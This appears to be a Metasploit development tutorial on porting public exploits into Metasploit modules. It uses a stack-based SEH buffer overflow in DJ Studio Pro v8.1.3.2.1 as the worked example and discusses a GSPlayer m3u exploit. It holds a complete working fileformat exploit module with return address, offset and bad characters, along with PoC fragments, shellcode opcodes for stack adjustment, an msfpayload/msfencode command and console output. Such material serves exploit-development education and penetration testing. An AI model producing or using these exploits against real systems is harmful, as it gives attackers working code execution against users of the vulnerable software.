Porting Public Exploits to Metasploit¶
Porting public exploits into metasploit modules can be as easy as putting the ruby code in the correct directory and firing up your favorite interface.
Practically, its rarely that simple, since you need to have the target application for testing, know enough Ruby to port it, understand the Metasploit API, and be familiar with exploit development to boot. The trouble with porting most public code is that it requires more investigation to make a module work with Metasploit.
For example, if the exploit has a static block of shellcode, that doesn't give us enough information to do a port without basically rewriting it. We still need to know the maximum amount of code we can fit and which characters need to be excluded from the payloads. The flexibility that Metasploit offers comes at the cost of a ton of upfront research into the vulnerability and its limits for exploitation.
The ultimate goal is to end up with a Metasploit exploit module that is as generic as possible.
Example 1: GSPlayer 1.83a (make sure the exploit is generic & reliable... don't port if it's not)¶
If you look at the exploit code on exploit-db, you will see the following important things :
# Tested on: Windows XP SP3 En (VM)
my $file = "GSPlayer.m3u";
my $junk1 = "\x41" x 257;
#jmp esp from kernel32.dll
my $eip = pack('V',0x7C86467B);
my $junk2 = "Ai7Ai8Ai";
my $nop = "\x90" x 30;
...
my $payload = $junk1 . $eip . $junk2 . $nop . $shell;
my $rest = "\x42" x (4064 - length($payload));
$payload = $payload . $rest . ".mp3";
- Payload delivery technique
The exploit code will create a m3u file. This means that the user will need to be tricked into opening this file in the vulnerable application, so you will need to create a physical file in the Metasploit module.
Alternatively, if the application would provide for a way to open the m3u file directly from a webserver, you could also build a module that would serve the m3u file via a server module.
If you want to create a physical file, you will need the FILEFORMAT mixin. If you want to host a file via a webserver component, you can still use FILEFORMAT (and then copy the file to a webserver), or you could use the HTTPServer mixin to host the file directly from the exploit.
The chosen technique will not only determine the mixin(s) to use, but it will also determine the location of the exploit module in the Metasploit directory structure.
In this example, we will use the FILEFORMAT mixin. The exploit targets Win32, so the module will end up under/modules/exploits/windows/fileformat
- Target OS
The comments in the exploit file suggest that the exploit was tested on XP SP3. By itself, this doesn't mean anything. The following 2 lines, however, might be a strong indication of an OS specific exploit :#jmp esp from kernel32.dll my $eip = pack('V',0x7C86467B);
While porting the exploit, you should try to figure out why a pointer from an OS module was used (kernel32.dll in this case), and if it would be possible to use a pointer that would be more generic.
- Offset
By looking at the$payloadvariable, we can easily figure out the payload structure. Apparently the$junk1variable contains 257 A's. After the$junk1variable, 4 bytes are placed which appear to be overwriting the saved EIP. At first sight, the offset to overwriting EIP is 257.
It's not uncommon to see that the offset to overwriting the saved EIP in similar exploits (.m3u etc) is based on the length of the local path where the file is placed. In other words, if the m3u file is stored atc:\, then the offset might be different compared to when the file is placed atc:\documents and settings\user\desktop. You will need to figure this out because if the offset is variable, you won't be able to build a reliable/generic exploit module.
If you were to replace the payload with a cyclic pattern, you will discover that the offset is indeed based on the length of the local file path & file name. In other words, you will not be able to build a reliable module for this exploit. That usually means that you should not waste your time trying to port this module as it serves no real purpose.
Example 2: DJ Studio Pro v8.1.3.2.1 (try to improve existing poc exploit)¶
When looking at another poc exploit module at exploit-db, we see the following things :- A .pls file is created (FILEFORMAT)
- Tested on XP SP2 (target folder will most likely be
/modules/exploits/windows/fileformat). We will need to figure out if this exploit only works on XP SP2 or not. Ideally we need to build an exploit that works on as many systems as possible. - A SEH record appears to be overwritten and a pointer from msvbvm60.dll was used to overwrite the SE Handler with.
- The
junkvariable contains 1940 A's. In the payload, this variable sits betweenhead(file header) and the location in the buffer that will end up overwriting the SEH record. We need to figure out if this offset (1940) is static and not impacted by the length of the local file path or name. - The payload structure in the poc exploit is :
head+junk+nseh+seh+nop+egghunter+padd+shellcode - An egghunter is used. Seeing an egghunter in a PoC exploit module doesn't mean that it's really required. Don't just copy a structure or assume that a specific technique is needed without verifying first.
- The poc exploit contains a variable named
headwhich contains a series of bytes ("\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D"). You could just copy this variable, but it might be worth while figuring out what this header actually is.
After converting the bytes inheadto ascii, we see this :[playlist] File1=
Verify the offset¶
One of the first things you should do, is verify that the reported offset in the PoC exploit is correct. In this example, you can try to overwrite the seh record with a cyclic pattern, using the following skeleton module :
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'DJ Studio v8.1.3.2.1 (PLS File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in DJ Studio Pro v8.1.3.2.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Abhishek Lyall', #original exploit
'corelanc0d3r', #metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15031/' ],
],
'Payload' =>
{
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2', { 'Ret' => 0x735275CB } ], #msvbvm60.dll
],
'Privileged' => false,
'DisclosureDate' => 'Sept 17 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'DJ Studio playlist filename', 'msf.pls']),
OptString.new('OUTPUTPATH', [ true, 'Destination folder for playlist file', '/tmp']),
], self.class)
end
def exploit
sploit = "[playlist]\n\n"
sploit << "File1="
sploit << Rex::Text.pattern_create(5000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
Note : while this skeleton module can be used to build the entire exploit from scratch, you could (and probably should) consider copying one of the existing metasploit modules. Simply find a module that uses a similar delivery technique, copy it into a new module, and start changing it.
In our skeleton, we have- included the FILEFORMAT mixin
- set a target (we will not be using the target for now)
- overruled the FILENAME and OUTPUTPATH options with default filename "msf.pls" and default destination folder "/tmp"
- created a cyclic pattern of 5000 bytes and written it to file
Now simply load the exploit module, set a payload (any payload will do - we're not using the payload yet) and run exploit to create the file.
msf > use exploit/windows/fileformat/djstudio_pro_pls msf exploit(djstudio_pro_pls) > set payload windows/exec payload => windows/exec msf exploit(djstudio_pro_pls) > set cmd calc cmd => calc msf exploit(djstudio_pro_pls) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.pls yes DJ Studio playlist filename OUTPUTPATH /tmp yes Destination folder for playlist file Payload options (windows/exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD calc yes The command string to execute EXITFUNC process yes Exit technique: seh, thread, none, process Exploit target: Id Name -- ---- 0 Windows XP SP2 msf exploit(djstudio_pro_pls) > exploit [*] Creating 'msf.pls' file ... [*] Generated output file /tmp/msf.pls [*] Exploit completed, but no session was created. msf exploit(djstudio_pro_pls) >
Transfer the pls file to your windows machine and open the pls file in DJ Studio Pro (with a debugger attached to it). (File - Load Play List)
Examine the SEH chain and verify that the offset to overwriting the SEH record is indeed header + 1940 characters.
Since this is the case, regardless of where the pls file is located, we are one step closer to building a generic exploit module.
Find a reliable pointer¶
The sample exploit module uses a pointer to pop/pop/ret in msvbvm60.dll (0x735275CB)
735275CB 58 POP EAX 735275CC 5A POP EDX 735275CD C3 RETN
This module is not safeseh protected, is not subject to ASLR and is not likely going to be rebased either. Furthermore, the module appears to have the same baseaddress on XP SP2 and SP3. If you have other Windows systems, you should verify the baseaddress & module properties on those systems as well, in order to understand the scope of the chosen pointer.
Make sure, if you are porting existing exploits, that you understand why a specific pointer was used, what the pointer does (it's good practice to document what instruction it points at, and what module it was taken from), and why this is the best pointer for the job. There might be another/better pointer, so it's up to you to figure that out. This journey may change the entire exploit structure, but it's well worth the trouble it that makes the module more reliable or transportable.
Determine available space¶
The proof of concept exploit contains an egghunter.
This might be needed if the available stack space is limited and we have a way to put payload somewhere else in memory.
Seeing an egghunter in a proof of concept exploit doesn't necessarily mean that we actually need it. The poc author may have used an egghunter just for fun, for practice, whatever...
Using an egghunter usually slows down the execution of the payload, so it's important to try to avoid the egghunter altogether.
We have figured out the offset to overwriting the SEH record, so we can update the target in the module :
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x735275CB, 'Offset' => 1940 } ], #p/p/r msvbvm60.dll
],
We can also update the exploit routine and overwrite the SEH record with 'BBBB' (Next SEH) and the pointer to pop/pop/ret (SE Handler). We already know that we have 1940 bytes at our disposal before the SEH record, but maybe our available buffer space is even larger. Let's create a cyclic pattern of 3000 bytes and put that after the overwritten SEH record. Adding too much bytes right away may have an adverse effect, so it might be better to start with a smaller size and then gradually increase the size until it stops working, doesn't increase the available space anymore, or is large enough.
def exploit
sploit = "[playlist]\n\n"
sploit << "File1="
sploit << ("A" * target['Offset'])
sploit << "BBBB" #nseh
sploit << [target.ret].pack('V') #seh
sploit << Rex::Text.pattern_create(3000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
After loading this pls file and stepping through the pop pop ret instuctions, we land back at nseh.
If we look at the stack, right after the SEH record, we can see the first bytes of our cyclic pattern.
Follow the cyclic pattern on the stack until the end and calculate the offset between the stack location right after the SEH record, and the stack location that holds the last 4 bytes of the cyclic pattern. You will find out that all 3000 bytes are available, and that there might even be more place on the stack for our buffer. You could increase the size of the cyclic pattern to 4000, 5000, ... bytes & see if that still works. Usually, if you already have 4000 bytes at your disposal, you should be able to run any type of payload. You will notice that 5000 bytes changes the offset to overwriting SEH (and potentially changes the available stack space to host the shellcode). Let's stick with an available space of 4000 bytes, which should be sufficient.
Note : Since this is a SEH overwrite, it will be important to understand why exactly the application crashes. Is it because of an access violation when reading or writing a register under your control ? Or does the access violation get triggered because you attempted to write beyond the end of the current stack ?
In this case, the crash gets triggered by the following instruction :
031E889B 8B51 0C MOV EDX,DWORD PTR DS:[ECX+C]
ECX is 41414141, and 4141414D is an invalid address at this point. The 41414141 (AAAA) clearly originates from the first part of our payload (before overwriting the SEH record). For reliability purposes it may not be a good idea to use the first part of the payload to host shellcode, because it might influence the value that is put in ECX. If that value becomes a valid readable address then the exploit may not work.
In our case, we can assume that 4141414D won't be a valid memory address... but if you want to make sure, you can also replace the A's with something else :
sploit << ("\x80" * target['Offset'])
Bad chars & encoders¶
If you look at the original exploit module, you will notice that the shellcode was encoded, but it's unclear what encoder was used (probably shikata_ga_nai), and that there is no trace of bad chars either. The fact that the (hardcoded) shellcode works might have been the result of carefully selected bad chars, or might have been just good luck. Either way, you will have to figure out what characters have to be excluded from the payload.
There are a couple of ways to do this.
Because the shellcode, pointer to p/p/r, nops & padd, ... are all hardcoded, we know that the characters that make them are allowed (a whitelist), but we still don't know which characters we have to avoid. In most cases, sending a null byte breaks the exploit, but in the case of HTTP services, there is usually a much wider set of characters we have to avoid as well.
In our scenario, we know that the payload refers to a filename, so it will be fair to state that we are allowed to use bytes that are allowed in a filename. There might be more, there might be less. You can try to find out by creating a conversion table. You can simply create a string with all bytes (01 to FF), put the string in the payload and at crash time, compare the values in memory with the values in your exploit. This technique is not waterproof, and you may have to try a couple of times to find the exact list of bad characters.
This way, you can simply rely on the available encoders in Metasploit and the fact that Metasploit will attempt to encode your payload using different encoders, until it finds one that satisfies the list of bad chars.
In other cases, you'll have to tell Metasploit to use a specific encoder (but you need to take into account that some encoders will have specific behaviour based on the fact that you have specified a BufferRegister or not)
In this particular exploit, we'll exclude characters that are expected to change the behaviour of the payload. Bytes such as line feed, carriage return, backslash, comma, semi-colon, etc are potentially/likely going to change things, so we'll start by excluding those :
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x2c\x2f\x5c\x3a\x3b",
},
You can find more information on excluding bad chars here
Note : By default, Metasploit will fill up the buffer up to the size that was provided in the Payload section. Even if the encoded payload itself is less than 4000 bytes, the resulting variable (payload.encoded) will be 4000 bytes. You can change this behaviour by adding 'DisableNops' => true, to the Payload section
The SEH record¶
Our example exploit will overwrite a SEH record. A typical exploitation technique is to overwrite the SE Handler with a pointer to a pop/pop/ret sequence, and by overwriting the next SEH field with a short jump.
You can either hardcode these 2 fields, or you can use the Seh mixin to build the SEH record. Keep in mind that the Seh mixin has a number of limitations (it can only jump forward for example), so if you are porting/writing a module that requires a different technique, you may end up hardcoding the SEH record anyway.
Hardcoding the SEH record would look something like this :
sploit << "\xeb\x06\x90\x90" #nseh
sploit << [target.ret].pack('V') #seh
Using the Seh mixin looks like this :
sploit << generate_seh_record(target.ret)
Note : you can also generate the opcode to make a short jump using the following statement :
Rex::Arch::X86.jmp_short(6)
This statement will return a 2 byte opcode.
Some other interesting X86 functions are :
Rex::Arch::X86.jmp_reg(register)
Rex::Arch::X86.jmp(offset)
(check out x86.rb for more functions and info)
Wrapping up & testing¶
The ported exploit looks like this :
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'DJ Studio v8.1.3.2.1 (PLS File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in DJ Studio Pro v8.1.3.2.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Abhishek Lyall', #original exploit
'corelanc0d3r', #metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15031/' ],
],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x2c\x2f\x5c\x3a\x3b",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x735275CB, 'Offset' => 1940 } ], #p/p/r msvbvm60.dll
],
'Privileged' => false,
'DisclosureDate' => 'Sept 17 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'DJ Studio playlist filename', 'msf.pls']),
OptString.new('OUTPUTPATH', [ true, 'Destination folder for playlist file', '/tmp']),
], self.class)
end
def exploit
sploit = "[playlist]\n\n"
sploit << "File1="
sploit << ("\x80" * target['Offset']) #ensure access violation
sploit << generate_seh_record(target.ret)
sploit << make_nops(30)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
As you can see, this module does not contain an egghunter, and makes optimal use of Metasploit's built-in mixins and features.
You can now test the exploit & see if the list of badchars is accurate enough to make the exploit work in all cases.
Note : the make_nops() function will produce a series of random NOP instructions. The function will take the badchars provided in the Payload section. You can also protect/save specific registers by adding a 'SaveRegisters' to the Payload section :
'SaveRegisters' => [ 'eax', 'ecx', 'esi', 'esp', 'ebp' ],
(When nothing is specified, esp and ebp will be saved)
Tips and Tricks¶
Fillers & padding¶
If your payload needs some padding/filler, you can use one of the rand_xxxx() functions to produce a random string of a given length.
A few examples (100 bytes) :
Rex::Text.rand_text(100) Rex::Text.rand_text_english(100) Rex::Text.rand_text_highascii(100) Rex::Text.rand_text_alpha(100) Rex::Text.rand_text_alphanumeric(100) Rex::Text.rand_text_alpha_upper(100) Rex::Text.rand_text_alpha_lower(100) Rex::Text.rand_text_numeric(100) Rex::Text.rand_char(100)
These functions will try to exclude the badchars specified in the Payload section of the module.
Shellcode does not contain bad chars, but still doesn't run¶
A couple of things to check :
- If, when the shellcode starts running, EIP and ESP are (too) close to each other, then you may have to insert a stackadjust in the payload section of the module.
This will prepend the shellcode with an instruction which alters ESP (usually by adding a negative value to ESP)add esp, -offset
Example :'Payload' => { 'Space' => 4000, 'BadChars' => "\x00\x0a\x0d\x2c\x2f\x5c\x3a\x3b", 'DisableNops' => true, 'StackAdjustment' => -3500, },
Note : The StackAdjustment instruction will be added to the shellcode prior to the encoding of the shellcode. This means that this will not have a lot of effect if the decoding routine does not run properly.
If you want to add a stackadjust routine before the encoded shellcode, you will have to use thePrependEncoderinstead ofStackAdjustmentor have to add it yourself. Take into account that this may introduce bad chars.
A few examples of manual adjustments:add esp,-127 : "\x83\xc4\x81" add esp,-3500 : "\x81\xc4\x54\xf2\xff\xff" sub esp,100 : "\x83\xec\x64" push esp; pop eax; add eax,-1000; mov esp,eax : "\x54\x58\x05\x18\xfc\xff\xff\x89\xc4"
(time to get creative)
- When one of the alpha_xxxxx encoders is used, and the list of badchars is quite extensive, then the encoder may generate shellcode that does not include a GetPC stub. If that is the case, you will have to use a BufferRegister (and change your exploit routine, making sure the chosen register points exactly at the first byte of the alpha_xxxx encoded payload at run time)
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x2c\x2f\x5c\x3a\x3b",
'DisableNops' => true,
'StackAdjustment' => -3500,
'EncoderOptions' =>
{
'BufferRegister' => 'EDX',
}
},
or, from command line :
./msfpayload windows/exec cmd=calc R | ./msfencode -e x86/alpha_mixed BufferRegister=EDX -t c
Contribute & share your module with the world.¶
Before submitting your new module as a pull request to the Metasploit Framework project, there are a few things you should do:- Be familiar with the Acceptance Guidelines
- Test the module on as many systems as you can, and use a variety of payloads during those tests. This will ensure that the module is generic and stable.
- Find public references to the exploit (CVE, OSVDB, or BID) and add them to the References section
- Credit other people for the work they have done. If someone else found the vulnerability / wrote the initial exploit, then that person deservs to be credited for that.
- Finally, run msftidy.rb against the module. This will check if all required components are in the module, if you have used tabs instead of spaces, etc. If msftidy.rb returns nothing, like the below, it's all good!
root@bt:/pentest/exploits/trunk/tools# ./msftidy.rb ../modules/exploits/linux/misc/pwn_all_the_things.rb root@bt:/pentest/exploits/trunk/tools#
Finding the target¶
To assist in finding target applications, Jerome Athias maintains a download page with many vulnerable applications. Other places to look are http://oldapps.com and http://oldversion.com. For more recent vulnerabilities, vendors often continue to link to vulnerable versions of their software for a considerable amount of time after an advisory becomes public. Sometimes it's worth it simply to follow the vendor links in the comments of a six-month old proof-of-concept on exploit-db. For open source software there is almost always a repository someplace where you can download old, vulnerable versions.